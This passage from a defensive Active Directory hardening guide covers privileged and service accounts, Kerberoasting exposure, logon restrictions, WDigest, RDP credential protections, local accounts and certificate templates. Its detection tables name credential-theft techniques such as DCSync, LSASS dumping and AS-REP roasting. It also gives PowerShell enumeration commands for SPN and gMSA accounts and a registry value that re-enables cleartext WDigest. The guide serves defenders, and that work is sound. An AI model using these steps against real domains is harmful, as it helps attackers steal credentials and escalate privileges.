Any privileged accounts granted membership into additional security groups can provide a threat actor with a potential path to domain administration-level permissions based upon endpoints where the accounts have permissions to log on or remotely access systems.

Ideally, only a small scope of accounts should be provided with highly privileged access within a domain. Accounts with highly privileged permissions should not be leveraged for daily use; used for interactive or remote logons to workstations, laptops, or common servers; or used for performing functions on non-domain controller (Tier 0) assets.For additional recommendations for restricting access for privileged accounts, reference the Privileged Account Logon Restrictions section of this blog post.

Detection Opportunities for Privileged Accounts, Groups, and GPO Modifications

Use Case

MITRE

Description

Interactive or Remote Logon of a Highly Privileged Account to an Unauthorized System

T1078 – Valid Accounts

Search for logon attempts correlating to highly privileged accounts authenticating to systems that reside outside of the Tier 0 layer.

Privileged Account and Group Discovery

T1069 – Permission Groups Discovery

T1078 – Valid Accounts

Search for command-line events where a user is attempting to enumerate privileged accounts and groups.

Account Added to Highly Privileged Group

T1078 – Valid Accounts

T1098 – Account Manipulation

Identify when accounts are added to highly privileged groups. While this can occur as part of normal activity, it should be infrequent and limited to specific accounts.

Modification of Group Policy Objects

T1484.001 – Domain Policy Modification: Group Policy Modification

Identify when GPOs are created or modified.

GPOs can also be exported and reviewed to identify last modification timestamps.

get-gpo -all | export-csv -path "c:\temp\gpo-listing-all.csv" -NoTypeInformation

Figure 30: PowerShell cmdlet to export and review GPO creation and modification timestamps

DCSync Attack

T1003.006 - OS Credential Dumping

Monitor for non-domain-controller sources issuing directory replication requests (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All). 

Event ID 4662 with properties matching the replication GUIDs (1131f6aa-*, 1131f6ad-*) from non-domain-controller source addresses is a high-fidelity indicator of DCSync.

Table 20: Detection opportunities for privileged accounts, groups, and GPO modifications

Privileged and Service Account Protections

Identify and Review Noncomputer Accounts Configured with an SPN

Accounts with service principal names (SPNs) are commonly targeted by threat actors for privilege escalation. Using Kerberos, any domain user can request a Kerberos service ticket (TGS) from a domain controller for any account configured with an SPN. Noncomputer accounts likely are configured with guessable (nonrandom) passwords. Regardless of the domain function level or the host's Windows version, SPNs that are registered under a noncomputer account will use the legacy RC4-HMAC encryption suite rather than Advanced Encryption Standard (AES). The key used for encryption and decryption of the RC4-HMAC encryption type represents an unsalted NTLM hash version of the account's password, which could be derived via cracking the ticket.

Organizations should review Active Directory to identify noncomputer accounts configured with an SPN. Noncomputer accounts correlated to registered SPNs are likely service accounts and provide a method for a threat actor (without administrative privileges) to potentially derive (crack) the plain-text password for the account (Kerberoasting). To identify noncomputer accounts configured with an SPN, the PowerShell cmdlet referenced in Figure 31 can be run from a domain controller.

Get-ADUser -Filter {(ServicePrincipalName -like "*")} | Select-Object name,samaccountname,sid,enabled,DistinguishedName

Figure 31: PowerShell cmdlet to identify noncomputer accounts configured with an SPN

Where possible, organizations should deregister noncomputer accounts with SPNs configured. Where SPNs are needed, organizations should mitigate the risk associated with Kerberoasting attacks. Accounts with SPNs should be configured with strong, unique passwords (e.g., minimum 25+ characters) with the passwords rotated on a periodic basis for the accounts. Furthermore, privileges should be reviewed and reduced for these accounts to ensure that each account has the minimum required privileges needed for the intended function.

Accounts with SPNs should be considered in-scope for the proactive hardening measures detailed throughout this blog post.

Note: SPNs should never be associated with regular interactive user accounts.

Detection Opportunities for Noncomputer Accounts Configured with an SPN

Use Case

MITRE ID

Description

Potential Kerberoasting Attempt Using RC4

T1558.003 – Steal or Forge Kerberos Tickets: Kerberoasting

Searching for a Kerberos request using downgraded RC4 encryption.

AS-REP Roasting

T1558.004 - Steal or Forge Kerberos Tickets

Monitor Event ID 4768 for Kerberos authentication requests using RC4 encryption (0x17) for accounts with the "Do not require Kerberos preauthentication" flag set. Unlike Kerberoasting (which targets SPNs), AS-REP Roasting targets accounts with disabled preauthentication (which should be reviewed and mitigated).

Table 21: Detection opportunities for noncomputer accounts configured with an SPN

Privileged Account Logon Restrictions

Privileged and service account credentials are commonly used for lateral movement and establishing persistence.

For any accounts that have privileged access throughout an environment, the accounts should not be used on standard workstations and laptops, but rather from designated systems (e.g., privileged access workstations [PAWs]) that reside in restricted and protected VLANs and tiers. Dedicated privileged accounts should be defined for each tier, with controls that enforce that the accounts can only be used within the designated tier. Guardrail enforcement for privileged accounts can be defined within GPOs or by using authentication policy silos (Windows Server 2012 R2 domain-functional level or above).

The recommendations for restricting the scope of access for privileged accounts are based upon Microsoft's guidance for securing privileged access. For additional information, reference:

User Rights Assignments

As a proactive hardening or quick containment measure, consider blocking any accounts with privileged AD access from being able to log in (remotely or locally) to standard workstations, laptops, and common access servers (e.g., virtualized desktop infrastructure).

The settings referenced as follows are configurable using user rights assignments defined within GPOs via the path of: 

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Accounts delegated with domain-based privileged access should be explicitly denied access to standard workstations and laptop systems within the context of the following settings (which can be configured using GPO settings similar to what are depicted in Figure 32):

  • Deny access to this computer from the network (also include S-1-5-114: NT AUTHORITY\Local account and member of Administrators group) (SeDenyNetworkLogonRight)

  • Deny logon as a batch job (SeDenyBatchLogonRight)

  • Deny logon as a service (SeDenyServiceLogonRight)

  • Deny logon locally (SeDenyInteractiveLogonRight)

  • Deny logon through Terminal Services (SeDenyRemoteInteractiveLogonRight)

Example of Privileged Account Access Restrictions for a Standard Workstation Using GPO Settings

Figure 32: Example of privileged account access restrictions for a standard workstation using GPO settings

Additionally, using GPOs, permissions can be restricted on endpoints to protect against privilege escalation and potential data theft by reducing the scope of accounts that have the following user rights assignments:

  • Debug programs (SeDebugPrivilege

  • Back up files and directories (SeBackupPrivilege

  • Restore files and directories (SeRestorePrivilege

  • Take ownership of files or other objects (SeTakeOwnershipPrivilege)

Detection Opportunities for Privileged Account Logons

Use Case

MITRE ID

Description

Attempted Logon of a Privileged Account from a Nonprivileged Access Workstation

T1078 – Valid Accounts

Search for logon attempts correlating to highly privileged accounts authenticating to systems that reside outside of the Tier 0 layer.

Table 22: Detection opportunities for privileged account logons

Service Account Logon Restrictions

Organizations should also consider enhancing the security of domain-based service accounts to restrict the capability for the accounts to be used for interactive, remote desktop, and, where possible, network-based logons. 

Minimum recommended logon hardening for service accounts (on endpoints where the service account is not required for interactive or remote logon purposes):

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
    • Deny logon locally (SeDenyInteractiveLogonRight)
    • Deny logon through Terminal Services (SeDenyRemoteInteractiveLogonRight)

Additional recommended logon hardening for service accounts (on endpoints where the service accounts is not required for network-based logon purposes):

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
    • Deny access to this computer from the network (SeDenyNetworkLogonRight)

If a service account is only required to be leveraged on a single endpoint to run a specific service, the service account can be further restricted to only permit the account's usage on a predefined listing of endpoints (Figure 33).

  • Active Directory Users and Computers > Select the account
    • Account tab
      • Log On To button > Select the proper scope of computers for access
Option to Restrict an Account to Log onto Specific Endpoints

Figure 33: Option to restrict an account to log onto specific endpoints

Detection Opportunities for Service Account Logons

Use Case

MITRE ID

Description

Anomalous Logon from a Service Account

T1078 – Valid Accounts

Search for login attempts for a service account on a new (unexpected) endpoint. This will require baselining service accounts to expected (approved) systems.

Table 23: Detection opportunities for service account logons

Managed/Group Managed Service Accounts

Organizations with static service accounts should review the feasibility of migrating the service accounts to be managed service accounts (MSAs) or group managed service accounts (gMSAs).

MSAs were first introduced with the Windows Server 2008 R2 Active Directory schema (domain-functional level) and provide automatic password management (30-day rotation) for dedicated service accounts that are associated with running services on specific endpoints.

  • Standard MSA: The account is associated with a single endpoint, and the complex password for the account is automatically managed and changed on a predefined frequency (30 days by default). While an MSA can only be associated with a single computer account, multiple services on the same endpoint can leverage the MSA.

  • Group managed service account (gMSA): First introduced with Windows Server 2012 and are very similar to MSAs, but allow for a single gMSA to be leveraged across multiple endpoints.

Common uses for MSAs and gMSAs:

  • Scheduled Tasks

  • Internet Information Services (IIS) application pools

  • Structured Query Language (SQL) services (SQL 2012 and later) – Express editions are not supported by MSAs.

  • Microsoft Exchange services

  • Network Load Balancing (clustering) – gMSAs only

  • Third-party applications that support MSAs

Note: Threat actors can potentially discover accounts and groups that have permissions to read/leverage the password for a gMSA for privilege escalation and lateral movement. This can be accomplished by leveraging the get-adserviceaccount PowerShell cmdlet and enumerating the msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) configuration for a gMSA, which stores the security principals that can access the gMSA password. It is important that when configuring managed service accounts, organizations focus on restricting the scope of accounts and groups that have the ability to obtain and leverage the password for the managed service accounts and enforce structured monitoring of these accounts and groups.

For additional information related to MSAs and gMSAs, reference:

Detection Opportunities for Managed/Group Managed Service Accounts

Use Case

MITRE ID

Description

Group Membership Addition

T1069 – Permission Groups Discovery

T1098 – Account Manipulation

Search for MSAs/gMSAs and the associated PrincipalsAllowedToRetrieveManagedPassword or PrincipalsAllowedToDelegateToAccount permissions, which could provide the ability to leverage the MSA/gMSA for malicious purposes.

Example reconnaissance commands for querying for MSAs/gMSAs and associated attributes:

get-adserviceaccount

get-adserviceaccount -filter {name -eq 'account-name'} -prop * | select Name, MemberOf, PrincipalsAllowedToDelegateToAccount, PrincipalsAllowedToRetrieveManagedPassword

Figure 34: Example reconnaissance commands for querying for MSAs/gMSAs

Table 24: Detection opportunities for managed/group managed service accounts

Protected Users Security Group

By leveraging the Protected Users security group for privileged accounts, an organization can minimize various exposure factors and common exploitation methods by a threat actor or malware variant obtaining credentials for privileged accounts on disk or in memory from endpoints.

Beginning with Microsoft Windows 8.1 and Microsoft Windows Server 2012 R2 (and above), the Protected Users security group was introduced to manage credential exposure within an environment. Members of this group automatically have specific protections applied to accounts, including:

  • The Kerberos ticket granting ticket (TGT) expires after four hours, rather than the normal 10-hour default setting.

  • No NTLM hash for an account is stored in LSASS, since only Kerberos authentication is used (NTLM authentication is disabled for an account).

  • Cached credentials are blocked. A domain controller must be available to authenticate the account.

  • WDigest authentication is disabled for an account, regardless of an endpoint's applied policy settings.

  • DES and RC4 cannot be used for Kerberos preauthentication (Server 2012 R2 or higher); rather, Kerberos with AES encryption will be enforced.

  • Accounts cannot be used for either constrained or unconstrained delegation (equivalent to enforcing the Account is sensitive and cannot be delegated setting in Active Directory Users and Computers).

To provide domain controller-side restrictions for members of the Protected Users security group, the domain functional level must be Windows Server 2012 R2 (or higher). Microsoft Security Advisory KB2871997 adds compatibility support for the protections enforced for members of the Protected Users security group for Windows 7, Windows Server 2008 R2, and Windows Server 2012 systems.

Successful (Event IDs 303, 304) or failed (Event IDs 100, 104) logon events for members of the Protected Users security group can be recorded on domain controllers within the following event logs:

  • %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Authentication%4ProtectedUserSuccesses-DomainController.evtx
  • %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-Authentication%4ProtectedUserFailures-DomainController.evtx

The event logs are disabled by default and must be enabled on each domain controller. The PowerShell cmdlets referenced in Figure 35 can be leveraged to enable the event logs for the Protected Users security group on a domain controller.

$log1 = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration Microsoft-Windows-Authentication/ProtectedUserSuccesses-DomainController
$log1.IsEnabled=$true
$log1.SaveChanges()

$log2 = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration Microsoft-Windows-Authentication/ProtectedUserFailures-DomainController
$log2.IsEnabled=$true
$log2.SaveChanges()

Figure 35: PowerShell cmdlets for enabling event logging for the Protected Users security group on domain controllers

Note: Service accounts (including MSAs) should not be added to the Protected Users security group, as authentication will fail.

If the Protected Users security group cannot be used, at a minimum, privileged accounts should be protected against delegation by configuring the account with the Account is Sensitive and Cannot Be Delegated flag in Active Directory.

Detection Opportunities for the Protected Users Security Group

Use Case

MITRE ID

Description

Removal of Account from Protected User Group

T1098 – Account Manipulation

Search for an account that has been removed from the Protected Users group. 

Attempted Logon of an Account in the Protected User Group from a Nonprivileged Access Workstation

T1078 – Valid Accounts

Search for logon attempts from accounts in the Protected Users group authenticating from workstations of nonprivileged users.

Table 25: Detection opportunities for the Protected Users security group

Clear-Text Password Protections

In addition to restricting access for privileged accounts, controls should be enforced that minimize the exposure of credentials and tokens in memory on endpoints.

On older Windows versions, clear-text passwords are stored in memory (LSASS) to primarily support WDigest authentication. WDigest should be explicitly disabled on all Windows endpoints where it is not disabled by default.

By default, WDigest authentication is disabled in Windows 8.1+ and in Windows Server 2012 R2+.

Beginning with Windows 7 and Windows Server 2008 R2, after installing KB2871997, WDigest authentication can be configured either by modifying the registry or by using the Microsoft Security Guide GPO template from the Microsoft Security Compliance Toolkit.

Registry Method
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
REG_DWORD = "0"

Figure 36: Registry key and value for disabling WDigest authentication

Another registry setting that should be explicitly configured is the TokenLeakDetectDelaySecs setting (Figure 37), which will clear credentials in memory of logged-off users after 30 seconds, mimicking the behavior of Windows 8.1 and above.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDelaySecs
REG_DWORD = "30"

Figure 37: Registry key and value for enforcing the TokenLeakDetectDelaySecs setting

Group Policy Method

Using the Microsoft Security Guide Group Policy template, WDigest authentication can be disabled via a GPO setting (Figure 38).

  • Computer Configuration > Policies > Administrative Templates > MS Security Guide > WDigest Authentication

    • Disabled
Disabling WDigest Authentication via the MS Security Guide Group Policy Template

Figure 38: Disabling WDigest authentication via the MS Security Guide Group Policy Template

Additionally, an organization should verify that Allow* settings are not specified within the registry keys referenced in Figure 39, as this configuration would permit the tspkgs/CredSSP providers to store clear-text passwords in memory.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation

Figure 39: Additional registry keys for hardening against clear-text password storage

Group Policy Reprocessing

Threat actors can manually enable WDigest authentication on endpoints by directly modifying the registry (UseLogonCredential configured to a value of 1). Even on endpoints where WDigest authentication is automatically disabled by default, it is recommended to enforce the GPO settings noted as follows, which will enforce automatic group policy reprocessing for the configured (expected) settings on an automated basis.

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure security policy processing

    • Enabled - Process even if the Group Policy objects have not changed

  • Computer Configuration > Policies > Administrative Templates > System > Group Policy > Configure registry policy processing

    • Enabled - Process even if the Group Policy objects have not changed

Note: By default, Group Policy settings are only reprocessed and reapplied if the actual Group Policy was modified prior to the default refresh interval.

As KB2871997 is not applicable for Windows XP, Windows Server 2003, and Windows Server 2008, to disable WDigest authentication on these platforms, prior to a system reboot, WDigest needs to be removed from the listing of LSA security packages within the registry (Figure 40 and Figure 41).

HKLM\System\CurrentControlSet\Control\Lsa\Security Packages

Figure 40: Registry key to modify LSA security packages

LSA security Package Registry Key Before and After Removal of WDigest Authentication from Listing of Providers

Figure 41: LSA security package registry key before and after removal of WDigest authentication from listing of providers

Detection Opportunities for WDigest Authentication Conditions

Use Case

MITRE ID

Description

Enable WDigest Authentication

T1112 – Modify Registry

Search for evidence of WDigest being enabled in the Windows Registry.

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential

REG_DWORD = "1"

Figure 42: WDigest Windows Registry modification

LSASS Memory Access

T1003.002 - OS Credential Dumping - LSASS Memory

Monitor for processes accessing lsass.exe memory (Sysmon Event ID 10 with GrantedAccess 0x1010 or 0x1FFFFF). Alert on any non-system process opening a handle to LSASS. Deploy LSA Protection (RunAsPPL) and Credential Guard on all supported endpoints.

Table 26: Detection opportunities for WDigest authentication conditions

Credential Protections When Using RDP

Restricted Admin Mode for RDP

Restricted Admin mode for RDP can be enabled for all end-user systems assigned to personnel that perform Remote Desktop connections to servers or workstations with administrative credentials. This feature can limit the in-memory exposure of administrative credentials on a destination endpoint when accessed using RDP.

To leverage Restricted Admin RDP, the command referenced in Figure 43 can be invoked.

mstsc.exe /RestrictedAdmin

Figure 43: Command to invoke restricted admin RDP

When an RDP connection uses the Restricted Admin mode, if the authenticating account is an administrator on the destination endpoint, the credentials for the user account are not stored in memory; rather, the context of the user account appears as the destination machine account (domain\destination-computer$).

To leverage Restricted Admin mode for RDP, settings must be enforced on the originating endpoint in addition to the destination endpoint.

Originating Endpoint (Client Mode - Windows 7 and Windows Server 2008 R2 and above)

A GPO setting must be applied to the originating endpoint initiating the remote desktop session using the Restricted Admin feature.

  • Computer Configuration > Policies > Administrative Templates > System > Credential Delegation > Restrict delegation of credentials to remote servers

    • Require Restricted Admin > set to Enabled

      • Use the Following Restricted Mode > Required Restricted Admin

Configuring this GPO setting will result in the registry keys noted in Figure 44 being configured on an endpoint.

HKLM\Software\Policies\Microsoft\Windows\CredentialsDelegation\RestrictedRemoteAdministration
0 = Disabled
1 = Enabled

HKLM\Software\Policies\Microsoft\Windows\CredentialsDelegation\RestrictedRemoteAdministrationType
1 = Require Restricted Admin
2 = Require Remote Credential Guard
3 = Restrict Credential Delegation

Figure 44: Registry settings for requiring Restricted Admin mode

Destination Endpoint (Server Mode - Windows 8.1 and Windows Server 2012 R2 and above)

A registry setting will need to be configured (Figure 45).

HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin
0 = Enabled
1 = Disabled

Figure 45: Registry setting for enabling or disabling Restricted Admin RDP

Recommended: Set the registry value to 0 to enable Restricted Admin mode.

With Restricted Admin RDP, another setting that should be configured is the DisableRestrictedAdminOutboundCreds registry key (Figure 46).

HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdminOutboundCreds
0 = default value (doesn't exist) - Admin Outbound Creds are Enabled
1 = Admin Outbound Creds are Disabled

Figure 46: Registry setting for disabling admin outbound credentials

Recommended: Set the registry value to 1 to disable admin outbound credentials.

Note: With this setting set to 0, any outbound authentication requests will appear as the system (domain\destination-computer$) that a user connected to using Restricted Admin mode. Setting this to 1 disables the ability to authenticate to any downstream network resources when attempting to authenticate outbound from a system that a user connected to using Restricted Admin mode for RDP.

For additional information regarding Restricted Admin mode for RDP, reference:

Detection Opportunities for Restricted Admin Mode for RDP

Use Case

MITRE ID

Description

Disable Restricted Admin Mode for RDP

T1112 – Modify Registry

Search for an account disabling Restricted Admin mode for RDP in the Windows Registry.

HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin 

REG_DWORD = "1"

Figure 47: Restricted Admin mode for RDP being disabled in the Windows Registry on a destination endpoint

Disable Require Restricted Admin

T1484.001 – Domain Policy Modification: Group Policy Modification

Search for the Require Restricted Admin option being disabled within a GPO configuration. 

Computer Configuration > Policies > Administrative Templates > System > Credential Delegation > Restrict delegation of credentials to remote servers

"Require Restricted Admin" > set to Disabled

Figure 48: Require Restricted Admin being disabled in a GPO

Table 27: Detection opportunities for Restricted Admin Mode for RDP

Windows Defender Remote Credential Guard

For Windows 10 and Windows Server 2016 endpoints, Windows Defender Remote Credential Guard can be leveraged to reduce the exposure of privileged accounts in memory on destination endpoints when Remote Desktop is used for connectivity. With Remote Credential Guard, all credentials remain on the client (origination system) and are not directly exposed to the destination endpoint. Instead, the destination endpoint requests service tickets from the source as needed.

When a user logs in via RDP to an endpoint that has Remote Credential Guard enabled, none of the SSPs in memory store the account's clear-text password or password hash. Note that Kerberos tickets remain in memory to allow interactive (and single sign-on [SSO]) experiences from the destination server.

The Remote Desktop client (origination) host:

  • Must be running at least Windows 10 (v1703) to be able to supply credentials

  • Must be running at least Windows 10 (v1607) or Windows Server 2016 to use the user's signed-in credentials (no prompt for credentials)

  • User's account must be able to sign into both the client (origination) and the remote (destination) endpoint

  • Must be running the Remote Desktop Classic Windows application

  • Must use Kerberos authentication to connect to the remote host

  • The Remote Desktop Universal Windows Platform application does not support Windows Defender Remote Credential Guard.

Note: If the client cannot connect to a domain controller, then RDP attempts to fall back to NTLM. Windows Defender Remote Credential Guard does not allow NTLM fallback because this would expose credentials to risk.

The Remote Desktop remote (destination) host:

  • Must be running at least Windows 10 (v1607) or Windows Server 2016

  • Must allow Restricted Admin connections

  • Must allow the client's domain user to access Remote Desktop connections

  • Must allow delegation of nonexportable credentials

To enable Remote Credential Guard on the client (origination) host using a GPO configuration:

  • Computer Configuration > Administrative Templates > System > Credentials Delegation > Restrict delegation of credentials to remote servers
    • To require either Restricted Admin mode or Windows Defender Remote Credential Guard, choose Prefer Windows Defender Remote Credential Guard.
      • In this configuration, Remote Credential Guard is preferred, but it will use Restricted Admin mode (if supported) when Remote Credential Guard cannot be used.
      • Neither Remote Credential Guard nor Restricted Admin mode for RDP will send credentials in clear text to the Remote Desktop server.
    • To require Remote Credential Guard, choose Require Windows Defender Remote Credential Guard.
      • In this configuration, a Remote Desktop connection will succeed only if the remote computer meets the requirements for Remote Credential Guard.

To enable Remote Credential Guard on the remote (destination) host, see Figure 49.

HKLM\System\CurrentControlSet\Control\Lsa
Registry Entry: DisableRestrictedAdmin
Value: 0
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

Figure 49: Registry key and command options to enable Remote Credential Guard on a remote (destination) host

To leverage Remote Credential Guard, use the command referenced in Figure 50.

mstsc.exe /remoteguard

Figure 50: Command to leverage Remote Credential Guard

Detection Opportunities for Windows Defender Remote Credential Guard

Use Case

MITRE ID

Description

Disable Remote Credential Guard

T1112 – Modify Registry

Search for an account disabling Remote Credential Guard in the Windows Registry.

HKLM\System\CurrentControlSet\Control\Lsa

Registry Entry: DisableRestrictedAdmin

Value: 1

Figure 51: Remote Credential Guard being disabled in the Windows Registry on a destination endpoint

Disable Require Remote Credential Guard

T1484.001 – Domain Policy Modification: Group Policy Modification

Search for the Require Remote Credential Guard option being disabled within a GPO configuration.
 

Computer Configuration > Administrative Templates > System > Credentials Delegation > Restrict delegation of credentials to remote servers

Figure 52: Remote Credential Guard being disabled in a GPO

Table 28: Detection opportunities for Windows Defender Remote Credential Guard

Restrict Remote Usage of Local Accounts

Local accounts that exist on endpoints are often a common avenue leveraged by threat actors to laterally move throughout an environment. This tactic is especially impactful when the password for the built-in local administrator account is configured to the same value across multiple endpoints.

To mitigate the impact of local accounts being leveraged for lateral movement, organizations should consider both limiting the ability of local administrator accounts to establish remote connections and creating unique and randomized passwords for local administrator accounts across the environment.

KB2871997 introduced two well-known SIDs that can be leveraged within GPO settings to restrict the use of local accounts for lateral movement.

  • S-1-5-113: NT AUTHORITY\Local account
  • S-1-5-114: NT AUTHORITY\Local account and member of Administrators group

Specifically, the SID S-1-5-114: NT AUTHORITY\Local account and member of Administrators group is added to an account's access token if the local account is a member of the BUILTIN\Administrators group. This is the most beneficial SID to leverage to help stop a threat actor (or ransomware variant) that propagates using credentials for any local administrative accounts.

Note: For SID S-1-5-114: NT AUTHORITY\Local account and member of Administrators group, if Failover Clustering is used, this feature should leverage a nonadministrative local account (CLIUSR) for cluster node management. If this account is a member of the local Administrators group on an endpoint that is part of a cluster, blocking the network logon permissions can cause cluster services to fail. Be cautious and thoroughly test this configuration on servers where Failover Clustering is used.

Step 1 – Option 1: S-1-5-114 SID

To mitigate the use of local administrative accounts from being used for lateral movement, use the SID S-1-5-114: NT AUTHORITY\Local account and member of Administrators group within the following settings:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
    • Deny access to this computer from the network (SeDenyNetworkLogonRight)
    • Deny logon as a batch job (SeDenyBatchLogonRight)
    • Deny logon as a service (SeDenyServiceLogonRight)
    • Deny logon through Terminal Services (SeDenyRemoteInteractiveLogonRight)
    • Debug programs (SeDebugPrivilege: Permission used for attempted privilege escalation and process injection)

Step 1 – Option 2: UAC Token-Filtering

An additional control that can be enforced via GPO settings pertains to the usage of local accounts for remote administration and connectivity during a network logon. If the full scope of permissions (referenced previously) cannot be implemented in a short timeframe, consider applying the User Account Control (UAC) token-filtering method to local accounts for network-based logons. 

To leverage this configuration via a GPO setting:

  1. Download the Security Compliance Toolkit (https://www.microsoft.com/en-us/download/details.aspx?id=55319) to use the MS Security Guide ADMX file. 

  2. Once downloaded, the SecGuide.admx and SecGuide.adml files must be copied to the \Windows\PolicyDefinitions and \Windows\PolicyDefinitions\en-US directories respectively.

  3. If a centralized GPO store is configured for the domain, copy the PolicyDefinitions folder to the C:\Windows\SYSVOL\sysvol\<domain>\Policies folder.

GPO Setting
  • Computer Configuration > Policies > Administrative Templates > MS Security Guide > Apply UAC restrictions to local accounts on network logons

    • Enabled

Once enabled, the registry value (Figure 53) will be configured on each endpoint.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

REG_DWORD = "0" (Enabled)

Figure 53: Registry key and value for enabling UAC restrictions for local accounts

When set to 0, remote connections with high-integrity access tokens are only possible using either the plain-text credential or password hash of the RID 500 local administrator (and only then depending on the setting of FilterAdministratorToken, which is configurable via the GPO setting of User Account Control: Admin Approval Mode for the built-in Administrator account).

The FilterAdministratorToken option can either enable (1) or disable (0) (default) Admin Approval mode for the RID 500 local administrator. When enabled, the access token for the RID 500 local administrator account is filtered and therefore UAC is enforced for this account (which can ultimately stop attempts to leverage this account for lateral movement across endpoints).

GPO Setting
  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > User Account Control: Admin Approval Mode for the built-in Administrator account

Once enabled, the registry value (Figure 54) will be configured on each endpoint.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken

REG_DWORD = "1" (Enabled)

Figure 54: Registry key and value for requiring Admin Approval Mode for local administrative accounts

Note: It is also prudent to ensure that the default setting for User Account Control: Run all administrators in Admin Approval Mode (EnableLUA option) is not changed from Enabled (default, as shown in Figure 55) to Disabled. If this setting is disabled, all UAC policies are also disabled. With this setting disabled, it is possible to perform privileged remote authentication using plain-text credentials or password hashes with any local account that is a member of the local Administrators group.

GPO Setting
  • Computer Configuration > Policies > Administrative Templates > MS Security Guide > User Account Control: Run all administrators in Admin Approval Mode

    • Enabled

Once enabled, the registry value (Figure 55) will be configured on each endpoint. This is the default setting.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

REG_DWORD = "1" (Enabled)

Figure 55: Registry key and value for requiring Admin Approval Mode for all local administrative accounts

UAC access token filtering will not affect any domain accounts in the local Administrators group on an endpoint.

Step 2: LAPS

In addition to blocking the use of local administrator accounts from remote authentication to access endpoints, an organization should align a strategy to enforce password randomization for the built-in local administrator account. For many organizations, the easiest way to accomplish this task is by deploying and leveraging Microsoft's Local Administrator Password Solutions (LAPS).

Additional information regarding LAPS.

Detection Opportunities for Local Accounts

Use Case

MITRE ID

Description

Attempted Remote Logon of Local Account

T1078.003 - Valid Accounts: Local Accounts

Search for remote logon attempts for local accounts on an endpoint.

Table 29: Detection opportunities for local accounts

Active Directory Certificate Services (AD CS) Protections

Active Directory Certificate Services (AD CS) is Microsoft's implementation of Public Key Infrastructure (PKI) and integrates directly with Active Directory forests and domains. It can be utilized for a variety of purposes, including digital signatures and user authentication. Certificate Templates are used in AD CS to issue certificates that have been preconfigured for particular tasks. They contain settings and rules that are applied to incoming certificate requests and provide instructions on how a valid certificate request is provided.

In June of 2021, SpecterOps published a blog post named Certified Pre-Owned, which details their research into possible attacks against AD CS. Since that publication, Mandiant has continued to observe both threat actors and red teamers enhance targeting of AD CS in support of post-compromise objectives. Mandiant's blog post and hardening guide address the continued abuse scenarios and AD CS attack vectors identified through our frontline observations of recent security breaches.

Discover Vulnerable Certificate Templates

Certificate templates that have been configured and published by AD CS are stored in Active Directory as objects with an object class of pKICertificateTemplate and can be discovered by blue teams as well as threat actors. Any account that is authenticated to Active Directory can query LDAP directly, with the built-in Windows command certutil.exe, or with specialized tools such as PSPKIAudit, Certipy, and Certify. Mandiant recommends using one of these methods to discover vulnerable certificate templates.

Harden Vulnerable Certificate Templates

Once discovered, vulnerable certificate templates should be hardened to prevent abuse.

  1. Ensure that all domain controllers and Certificate Authority servers are patched with the latest updates and hotfixes.

  2. After installing Windows update (KB5014754) and monitoring/remediating for Event IDs 39 and 41, configure Active Directory to support full enforcement mode to reject authentications based on weaker mappings in certificates.

  3. Using one of the aforementioned methods, regularly review published certificate templates, specifically for any settings related to SAN specifications configured in existing templates.

  4. Review the security permissions assigned to all published certificate templates and validate the scope of enrollment and write permissions are delegated to the correct security principals.

  5. Review published templates configured with the following Enhanced Key Usages (EKUs) that support domain authentication and verify the operational requirement for these configurations.

  • Any Purpose (2.5.29.37.0)

  • Subordinate CA (None)

  • Client Authentication (1.3.6.1.5.5.7.3.2)

  • PKINIT Client Authentication (1.3.6.1.5.2.3.4)

  • Smart Card Logon (1.3.6.1.4.1.311.20.2.2)

  • For templates with sensitive Enhanced Key Usage (EKU), limit enrollment permissions to predefined users or groups, as certificates with EKUs can be used for multiple purposes. Access control lists for templates should be audited to ensure that they align with the principle of least privilege.Templates that allow for domain authentication should be carefully reviewed to verify that built-in groups that contain a large scope of accounts are not assigned enrollment permissions. Example: built-in groups that could increase the risk for abuse include:

    • Everyone

    • NT AUTHORITY\Authenticated Users

    • Domain Users

    • Domain Computers

  • Where possible, enforce "CA Certificate Manager approval" for any templates that include a SAN as an issuance requirement. This will require that any certificate issuance requests be manually reviewed and approved by an identity assigned the "Issue and Manage Certificates" permission on a certificate authority server.

  • Ensure that Certificate Authorities have not been configured to accept any SAN (irrelevant of the template configuration). This is a non-default configuration and should be avoided wherever possible. This abuse vector is mitigated by KB5014754, but until enforcement of strong mappings is enforced, abuse could still occur based upon historical certificates missing the new OID containing the requester's SID. For additional information, reference the following Microsoft article.

  • Treat both root and subordinate certificate authorities as Tier 0 assets and enforce logon restrictions or authentication policy silos to limit the scope of accounts that have elevated access to the servers where certificate services are installed and configured.

